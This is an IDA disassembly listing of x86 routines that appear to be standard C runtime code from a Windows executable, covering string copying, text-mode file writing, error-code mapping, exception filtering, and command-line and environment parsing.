; Attributes: bp-based frame
sub_41C3A0 proc near ; CODE XREF: sub_417348+2Bp
; sub_417348+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_46A8FC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41C3C4
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_416D40
add esp, 0Ch
jmp short loc_41C427
; ---------------------------------------------------------------------------
loc_41C3C4: ; CODE XREF: sub_41C3A0+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41C409
mov ecx, [ebp+arg_4]
loc_41C3CF: ; CODE XREF: sub_41C3A0+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_46AA01[esi], 4
mov [edi], al
jz short loc_41C3F3
inc edi
inc ecx
test edx, edx
jz short loc_41C3FF
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41C405
jmp short loc_41C3F9
; ---------------------------------------------------------------------------
loc_41C3F3: ; CODE XREF: sub_41C3A0+3Ej
inc edi
inc ecx
test al, al
jz short loc_41C409
loc_41C3F9: ; CODE XREF: sub_41C3A0+51j
test edx, edx
jnz short loc_41C3CF
jmp short loc_41C409
; ---------------------------------------------------------------------------
loc_41C3FF: ; CODE XREF: sub_41C3A0+44j
and byte ptr [edi-1], 0
jmp short loc_41C409
; ---------------------------------------------------------------------------
loc_41C405: ; CODE XREF: sub_41C3A0+4Fj
and byte ptr [edi-2], 0
loc_41C409: ; CODE XREF: sub_41C3A0+2Aj
; sub_41C3A0+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41C424
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41C424: ; CODE XREF: sub_41C3A0+6Fj
mov eax, [ebp+arg_0]
loc_41C427: ; CODE XREF: sub_41C3A0+22j
pop edi
pop ebp
retn
sub_41C3A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C42A proc near ; CODE XREF: sub_4175FF+A2p
; sub_417C37+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_46A8E0
push esi
push edi
jnb loc_41C5BE
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7E0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41C5BE
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41C47B
loc_41C474: ; CODE XREF: sub_41C42A+177j
xor eax, eax
jmp loc_41C5D2
; ---------------------------------------------------------------------------
loc_41C47B: ; CODE XREF: sub_41C42A+48j
test al, 20h
jz short loc_41C48B
push 2
push edi
push ecx
call sub_41BB7F
add esp, 0Ch
loc_41C48B: ; CODE XREF: sub_41C42A+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41C55A
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41C592
loc_41C4AB: ; CODE XREF: sub_41C42A+F5j
lea eax, [ebp+var_414]
loc_41C4B1: ; CODE XREF: sub_41C42A+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41C4E5
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41C4D0
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41C4D0: ; CODE XREF: sub_41C42A+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41C4B1
loc_41C4E5: ; CODE XREF: sub_41C42A+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421070
test eax, eax
jz short loc_41C54F
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41C521
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41C4AB
loc_41C521: ; CODE XREF: sub_41C42A+EAj
; sub_41C42A+12Ej
xor edi, edi
loc_41C523: ; CODE XREF: sub_41C42A+150j
; sub_41C42A+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41C5B9
cmp [ebp+arg_0], edi
jz short loc_41C592
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41C587
mov dword_4694B4, 9
mov dword_4694B8, eax
jmp loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C54F: ; CODE XREF: sub_41C42A+E0j
call dword_421088
mov [ebp+arg_0], eax
jmp short loc_41C521
; ---------------------------------------------------------------------------
loc_41C55A: ; CODE XREF: sub_41C42A+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_421070
test eax, eax
jz short loc_41C57C
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41C523
; ---------------------------------------------------------------------------
loc_41C57C: ; CODE XREF: sub_41C42A+145j
call dword_421088
mov [ebp+arg_0], eax
jmp short loc_41C523
; ---------------------------------------------------------------------------
loc_41C587: ; CODE XREF: sub_41C42A+10Fj
push [ebp+arg_0]
call sub_41C5D7
pop ecx
jmp short loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C592: ; CODE XREF: sub_41C42A+7Bj
; sub_41C42A+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41C5A7
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41C474
loc_41C5A7: ; CODE XREF: sub_41C42A+16Fj
mov dword_4694B4, 1Ch
mov dword_4694B8, edi
jmp short loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C5B9: ; CODE XREF: sub_41C42A+FEj
sub eax, [ebp+var_10]
jmp short loc_41C5D2
; ---------------------------------------------------------------------------
loc_41C5BE: ; CODE XREF: sub_41C42A+15j
; sub_41C42A+37j
and dword_4694B8, 0
mov dword_4694B4, 9
loc_41C5CF: ; CODE XREF: sub_41C42A+120j
; sub_41C42A+166j ...
or eax, 0FFFFFFFFh
loc_41C5D2: ; CODE XREF: sub_41C42A+4Cj
; sub_41C42A+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41C42A endp
; =============== S U B R O U T I N E =======================================
sub_41C5D7 proc near ; CODE XREF: sub_417709+16p
; sub_4178FC+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4694B8, ecx
mov eax, offset dword_438200
loc_41C5E8: ; CODE XREF: sub_41C5D7+1Ej
cmp ecx, [eax]
jz short loc_41C60C
add eax, 8
inc edx
cmp eax, offset dword_438368
jl short loc_41C5E8
cmp ecx, 13h
jb short loc_41C619
cmp ecx, 24h
ja short loc_41C619
mov dword_4694B4, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41C60C: ; CODE XREF: sub_41C5D7+13j
mov eax, dword_438204[edx*8]
mov dword_4694B4, eax
retn
; ---------------------------------------------------------------------------
loc_41C619: ; CODE XREF: sub_41C5D7+23j
; sub_41C5D7+28j
cmp ecx, 0BCh
jb short loc_41C633
cmp ecx, 0CAh
mov dword_4694B4, 8
jbe short locret_41C63D
loc_41C633: ; CODE XREF: sub_41C5D7+48j
mov dword_4694B4, 16h
locret_41C63D: ; CODE XREF: sub_41C5D7+5Aj
retn
sub_41C5D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C63E proc near ; CODE XREF: .nsp0:00417BDBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_41C77F
test eax, eax
pop ecx
jz loc_41C773
mov ebx, [eax+8]
test ebx, ebx
jz loc_41C773
cmp ebx, 5
jnz short loc_41C66F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41C77C
; ---------------------------------------------------------------------------
loc_41C66F: ; CODE XREF: sub_41C63E+23j
cmp ebx, 1
jz loc_41C76E
mov ecx, dword_469564
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_469564, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41C75E
mov ecx, dword_4383E0
mov edx, dword_4383E4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41C6BE
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:438370h[esi*4]
loc_41C6B5: ; CODE XREF: sub_41C63E+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41C6B5
loc_41C6BE: ; CODE XREF: sub_41C63E+69j
mov eax, [eax]
mov esi, dword_4383EC
cmp eax, 0C000008Eh
jnz short loc_41C6D9
mov dword_4383EC, 83h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C6D9: ; CODE XREF: sub_41C63E+8Dj
cmp eax, 0C0000090h
jnz short loc_41C6EC
mov dword_4383EC, 81h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C6EC: ; CODE XREF: sub_41C63E+A0j
cmp eax, 0C0000091h
jnz short loc_41C6FF
mov dword_4383EC, 84h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C63E+B3j
cmp eax, 0C0000093h
jnz short loc_41C712
mov dword_4383EC, 85h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C712: ; CODE XREF: sub_41C63E+C6j
cmp eax, 0C000008Dh
jnz short loc_41C725
mov dword_4383EC, 82h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C725: ; CODE XREF: sub_41C63E+D9j
cmp eax, 0C000008Fh
jnz short loc_41C738
mov dword_4383EC, 86h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C738: ; CODE XREF: sub_41C63E+ECj
cmp eax, 0C0000092h
jnz short loc_41C749
mov dword_4383EC, 8Ah
loc_41C749: ; CODE XREF: sub_41C63E+99j
; sub_41C63E+ACj ...
push dword_4383EC
push 8
call ebx
pop ecx
mov dword_4383EC, esi
pop ecx
pop esi
jmp short loc_41C766
; ---------------------------------------------------------------------------
loc_41C75E: ; CODE XREF: sub_41C63E+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41C766: ; CODE XREF: sub_41C63E+11Ej
mov eax, [ebp+arg_0]
mov dword_469564, eax
loc_41C76E: ; CODE XREF: sub_41C63E+34j
or eax, 0FFFFFFFFh
jmp short loc_41C77C
; ---------------------------------------------------------------------------
loc_41C773: ; CODE XREF: sub_41C63E+Fj
; sub_41C63E+1Aj
push [ebp+arg_4]
call dword_4211A0
loc_41C77C: ; CODE XREF: sub_41C63E+2Cj
; sub_41C63E+133j
pop ebx
pop ebp
retn
sub_41C63E endp
; =============== S U B R O U T I N E =======================================
sub_41C77F proc near ; CODE XREF: sub_41C63E+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4383E8
cmp dword_438368, edx
push esi
mov eax, offset dword_438368
jz short loc_41C7AC
lea esi, [ecx+ecx*2]
lea esi, ds:438368h[esi*4]
loc_41C7A1: ; CODE XREF: sub_41C77F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41C7AC
cmp [eax], edx
jnz short loc_41C7A1
loc_41C7AC: ; CODE XREF: sub_41C77F+16j
; sub_41C77F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:438368h[ecx*4]
cmp eax, ecx
jnb short loc_41C7BF
cmp [eax], edx
jz short locret_41C7C1
loc_41C7BF: ; CODE XREF: sub_41C77F+3Aj
xor eax, eax
locret_41C7C1: ; CODE XREF: sub_41C77F+3Ej
retn
sub_41C77F endp
; =============== S U B R O U T I N E =======================================
sub_41C7C2 proc near ; CODE XREF: .nsp0:00417B9Dp
cmp dword_46AB2C, 0
jnz short loc_41C7D0
call sub_41C384
loc_41C7D0: ; CODE XREF: sub_41C7C2+7j
push esi
mov esi, dword_46AB24
mov al, [esi]
cmp al, 22h
jnz short loc_41C802
loc_41C7DD: ; CODE XREF: sub_41C7C2+33j
; sub_41C7C2+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41C7FA
test al, al
jz short loc_41C7FA
movzx eax, al
push eax
call sub_41E6AC
test eax, eax
pop ecx
jz short loc_41C7DD
inc esi
jmp short loc_41C7DD
; ---------------------------------------------------------------------------
loc_41C7FA: ; CODE XREF: sub_41C7C2+21j
; sub_41C7C2+25j
cmp byte ptr [esi], 22h
jnz short loc_41C80C
loc_41C7FF: ; CODE XREF: sub_41C7C2+52j
inc esi
jmp short loc_41C80C
; ---------------------------------------------------------------------------
loc_41C802: ; CODE XREF: sub_41C7C2+19j
cmp al, 20h
jbe short loc_41C80C
loc_41C806: ; CODE XREF: sub_41C7C2+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41C806
loc_41C80C: ; CODE XREF: sub_41C7C2+3Bj
; sub_41C7C2+3Ej ...
mov al, [esi]
test al, al
jz short loc_41C816
cmp al, 20h
jbe short loc_41C7FF
loc_41C816: ; CODE XREF: sub_41C7C2+4Ej
mov eax, esi
pop esi
retn
sub_41C7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C81A proc near ; CODE XREF: .nsp0:00417B86p
push ebx
xor ebx, ebx
cmp dword_46AB2C, ebx
push esi
push edi
jnz short loc_41C82C
call sub_41C384
loc_41C82C: ; CODE XREF: sub_41C81A+Bj
mov esi, dword_469500
xor edi, edi
loc_41C834: ; CODE XREF: sub_41C81A+30j
mov al, [esi]
cmp al, bl
jz short loc_41C84C
cmp al, 3Dh
jz short loc_41C83F
inc edi
loc_41C83F: ; CODE XREF: sub_41C81A+22j
push esi
call sub_415CF0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41C834
; ---------------------------------------------------------------------------
loc_41C84C: ; CODE XREF: sub_41C81A+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_415DC9
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4694DC, esi
jnz short loc_41C86E
push 9
call sub_417BEE
pop ecx
loc_41C86E: ; CODE XREF: sub_41C81A+4Aj
mov edi, dword_469500
cmp [edi], bl
jz short loc_41C8B1
push ebp
loc_41C879: ; CODE XREF: sub_41C81A+94j
push edi
call sub_415CF0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41C8AA
push ebp
call sub_415DC9
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41C89D
push 9
call sub_417BEE
pop ecx
loc_41C89D: ; CODE XREF: sub_41C81A+79j
push edi
push dword ptr [esi]
call sub_415C00
pop ecx
add esi, 4
pop ecx
loc_41C8AA: ; CODE XREF: sub_41C81A+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41C879
pop ebp
loc_41C8B1: ; CODE XREF: sub_41C81A+5Cj
push dword_469500
call sub_415E3D
pop ecx
mov dword_469500, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_46AB28, 1
pop ebx
retn
sub_41C81A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8D3 proc near ; CODE XREF: .nsp0:00417B81p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_46AB2C, ebx
push esi
push edi
jnz short loc_41C8EA
call sub_41C384
loc_41C8EA: ; CODE XREF: sub_41C8D3+10j
mov esi, offset dword_469568
push 104h
push esi
push ebx
call dword_42107C
mov eax, dword_46AB24
mov dword_4694EC, esi
mov edi, esi
cmp [eax], bl
jz short loc_41C90F
mov edi, eax
loc_41C90F: ; CODE XREF: sub_41C8D3+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41C96C
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_415DC9
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41C93F
push 8
call sub_417BEE
pop ecx
loc_41C93F: ; CODE XREF: sub_41C8D3+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41C96C
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4694D4, esi
pop edi
pop esi
mov dword_4694D0, eax
pop ebx
leave
retn
sub_41C8D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C96C proc near ; CODE XREF: sub_41C8D3+47p
; sub_41C8D3+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41C996
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41C996: ; CODE XREF: sub_41C96C+20j
cmp byte ptr [eax], 22h
jnz short loc_41C9DF
loc_41C99B: ; CODE XREF: sub_41C96C+58j
; sub_41C96C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41C9CD
test dl, dl
jz short loc_41C9CD
movzx edx, dl
test byte_46AA01[edx], 4
jz short loc_41C9C0
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9C0
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41C9C0: ; CODE XREF: sub_41C96C+46j
; sub_41C96C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41C99B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41C99B
; ---------------------------------------------------------------------------
loc_41C9CD: ; CODE XREF: sub_41C96C+36j
; sub_41C96C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9D7
and byte ptr [esi], 0
inc esi
loc_41C9D7: ; CODE XREF: sub_41C96C+65j
cmp byte ptr [eax], 22h
jnz short loc_41CA22
inc eax
jmp short loc_41CA22
; ---------------------------------------------------------------------------
loc_41C9DF: ; CODE XREF: sub_41C96C+2Dj
; sub_41C96C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9EA
mov dl, [eax]
mov [esi], dl
inc esi
loc_41C9EA: ; CODE XREF: sub_41C96C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_46AA01[ebx], 4
jz short loc_41CA05
inc dword ptr [ecx]
test esi, esi
jz short loc_41CA04
mov bl, [eax]
mov [esi], bl
inc esi
loc_41CA04: ; CODE XREF: sub_41C96C+91j
inc eax
loc_41CA05: ; CODE XREF: sub_41C96C+8Bj
cmp dl, 20h
jz short loc_41CA13
test dl, dl
jz short loc_41CA17
cmp dl, 9
jnz short loc_41C9DF
loc_41CA13: ; CODE XREF: sub_41C96C+9Cj
test dl, dl
jnz short loc_41CA1A
loc_41CA17: ; CODE XREF: sub_41C96C+A0j
dec eax
jmp short loc_41CA22
; ---------------------------------------------------------------------------
loc_41CA1A: ; CODE XREF: sub_41C96C+A9j
test esi, esi
jz short loc_41CA22
and byte ptr [esi-1], 0
loc_41CA22: ; CODE XREF: sub_41C96C+6Ej
; sub_41C96C+71j ...
and [ebp+arg_10], 0
loc_41CA26: ; CODE XREF: sub_41C96C+19Ej
cmp byte ptr [eax], 0
jz loc_41CB0F
loc_41CA2F: ; CODE XREF: sub_41C96C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41CA3B
cmp dl, 9
jnz short loc_41CA3E
loc_41CA3B: ; CODE XREF: sub_41C96C+C8j
inc eax
jmp short loc_41CA2F
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C96C+CDj
cmp byte ptr [eax], 0
jz loc_41CB0F
test edi, edi
jz short loc_41CA53
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41CA53: ; CODE XREF: sub_41C96C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41CA58: ; CODE XREF: sub_41C96C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41CA61: ; CODE XREF: sub_41C96C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41CA6A
inc eax
inc ebx
jmp short loc_41CA61
; ---------------------------------------------------------------------------
loc_41CA6A: ; CODE XREF: sub_41C96C+F8j
cmp byte ptr [eax], 22h
jnz short loc_41CA9B
test bl, 1
jnz short loc_41CA99
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41CA88
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41CA88
mov eax, edx
jmp short loc_41CA8B
; ---------------------------------------------------------------------------
loc_41CA88: ; CODE XREF: sub_41C96C+10Dj
; sub_41C96C+116j
mov [ebp+arg_0], edi
loc_41CA8B: ; CODE XREF: sub_41C96C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41CA99: ; CODE XREF: sub_41C96C+106j
shr ebx, 1
loc_41CA9B: ; CODE XREF: sub_41C96C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41CAB0
inc ebx
loc_41CAA3: ; CODE XREF: sub_41C96C+142j
test esi, esi
jz short loc_41CAAB
mov byte ptr [esi], 5Ch
inc esi
loc_41CAAB: ; CODE XREF: sub_41C96C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41CAA3
loc_41CAB0: ; CODE XREF: sub_41C96C+134j
mov dl, [eax]
test dl, dl
jz short loc_41CB00
cmp [ebp+arg_10], 0
jnz short loc_41CAC6
cmp dl, 20h
jz short loc_41CB00
cmp dl, 9
jz short loc_41CB00
loc_41CAC6: ; CODE XREF: sub_41C96C+14Ej
cmp [ebp+arg_0], 0
jz short loc_41CAFA
test esi, esi
jz short loc_41CAE9
movzx ebx, dl
test byte_46AA01[ebx], 4
jz short loc_41CAE2
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41CAE2: ; CODE XREF: sub_41C96C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41CAF8
; ---------------------------------------------------------------------------
loc_41CAE9: ; CODE XREF: sub_41C96C+162j
movzx edx, dl
test byte_46AA01[edx], 4
jz short loc_41CAF8
inc eax
inc dword ptr [ecx]
loc_41CAF8: ; CODE XREF: sub_41C96C+17Bj
; sub_41C96C+187j
inc dword ptr [ecx]
loc_41CAFA: ; CODE XREF: sub_41C96C+15Ej
inc eax
jmp loc_41CA58
; ---------------------------------------------------------------------------
loc_41CB00: ; CODE XREF: sub_41C96C+148j
; sub_41C96C+153j ...
test esi, esi
jz short loc_41CB08
and byte ptr [esi], 0
inc esi
loc_41CB08: ; CODE XREF: sub_41C96C+196j
inc dword ptr [ecx]
jmp loc_41CA26
; ---------------------------------------------------------------------------
loc_41CB0F: ; CODE XREF: sub_41C96C+BDj
; sub_41C96C+D5j
test edi, edi
jz short loc_41CB16
and dword ptr [edi], 0
loc_41CB16: ; CODE XREF: sub_41C96C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41C96C endp
; =============== S U B R O U T I N E =======================================
sub_41CB20 proc near ; CODE XREF: .nsp0:00417B77p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_46966C
push ebx
push ebp
mov ebp, dword_42103C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41CB6E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_41CB4F
mov dword_46966C, 1
jmp short loc_41CB77
; ---------------------------------------------------------------------------
loc_41CB4F: ; CODE XREF: sub_41CB20+21j
call dword_421040
mov edi, eax
cmp edi, ebx
jz loc_41CC49
mov dword_46966C, 2
jmp loc_41CBFD
; ---------------------------------------------------------------------------
loc_41CB6E: ; CODE XREF: sub_41CB20+19j
cmp eax, 1
jnz loc_41CBF8
loc_41CB77: ; CODE XREF: sub_41CB20+2Dj
cmp esi, ebx
jnz short loc_41CB87
call ebp
mov esi, eax
cmp esi, ebx
jz loc_41CC49
loc_41CB87: ; CODE XREF: sub_41CB20+59j
cmp [esi], bx
mov eax, esi
jz short loc_41CB9C
loc_41CB8E: ; CODE XREF: sub_41CB20+73j
; sub_41CB20+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CB8E
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CB8E
loc_41CB9C: ; CODE XREF: sub_41CB20+6Cj
sub eax, esi
mov edi, dword_421138
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_41CBED
push ebp
call sub_415DC9
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41CBED
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_41CBE9
push [esp+18h+var_8]
call sub_415E3D
pop ecx
mov [esp+18h+var_8], ebx
loc_41CBE9: ; CODE XREF: sub_41CB20+B9j
mov ebx, [esp+18h+var_8]
loc_41CBED: ; CODE XREF: sub_41CB20+99j
; sub_41CB20+A8j
push esi
call dword_421044
mov eax, ebx
jmp short loc_41CC4B
; ---------------------------------------------------------------------------
loc_41CBF8: ; CODE XREF: sub_41CB20+51j
cmp eax, 2
jnz short loc_41CC49
loc_41CBFD: ; CODE XREF: sub_41CB20+49j
cmp edi, ebx
jnz short loc_41CC0D
call dword_421040
mov edi, eax
cmp edi, ebx
jz short loc_41CC49
loc_41CC0D: ; CODE XREF: sub_41CB20+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41CC1D
loc_41CC13: ; CODE XREF: sub_41CB20+F6j
; sub_41CB20+FBj
inc eax
cmp [eax], bl
jnz short loc_41CC13
inc eax
cmp [eax], bl
jnz short loc_41CC13
loc_41CC1D: ; CODE XREF: sub_41CB20+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_415DC9
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41CC33
xor esi, esi
jmp short loc_41CC3E
; ---------------------------------------------------------------------------
loc_41CC33: ; CODE XREF: sub_41CB20+10Dj
push ebp
push edi
push esi
call sub_4155D0
add esp, 0Ch
loc_41CC3E: ; CODE XREF: sub_41CB20+111j
push edi
call dword_4211A4
mov eax, esi
jmp short loc_41CC4B
; ---------------------------------------------------------------------------
loc_41CC49: ; CODE XREF: sub_41CB20+39j
; sub_41CB20+61j ...
xor eax, eax
loc_41CC4B: ; CODE XREF: sub_41CB20+D6j
; sub_41CB20+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41CB20 endp
; =============== S U B R O U T I N E =======================================
sub_41CC52 proc near ; CODE XREF: .nsp0:00417B67p
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41CC72
push 1Bh
call sub_417BEE
pop ecx
loc_41CC72: ; CODE XREF: sub_41CC52+16j
mov dword_46A7E0, esi
mov dword_46A8E0, 20h
lea eax, [esi+100h]
loc_41CC88: ; CODE XREF: sub_41CC52+52j
cmp esi, eax
jnb short loc_41CCA6
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_46A7E0
add esi, 8
add eax, 100h
jmp short loc_41CC88
; ---------------------------------------------------------------------------
loc_41CCA6: ; CODE XREF: sub_41CC52+38j
lea eax, [esp+54h+var_44]
push eax
call dword_421164
cmp word ptr [esp+54h+var_14+2], 0
jz loc_41CD82
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_41CD82
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41CCDC
mov esi, eax
loc_41CCDC: ; CODE XREF: sub_41CC52+86j
cmp dword_46A8E0, esi
jge short loc_41CD36
mov edi, offset dword_46A7E4
loc_41CCE9: ; CODE XREF: sub_41CC52+DAj
push 100h
call sub_415DC9
test eax, eax
pop ecx
jz short loc_41CD30
add dword_46A8E0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41CD07: ; CODE XREF: sub_41CC52+CFj
cmp eax, ecx
jnb short loc_41CD23
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41CD07
; ---------------------------------------------------------------------------
loc_41CD23: ; CODE XREF: sub_41CC52+B7j
add edi, 4
cmp dword_46A8E0, esi
jl short loc_41CCE9
jmp short loc_41CD36
; ---------------------------------------------------------------------------
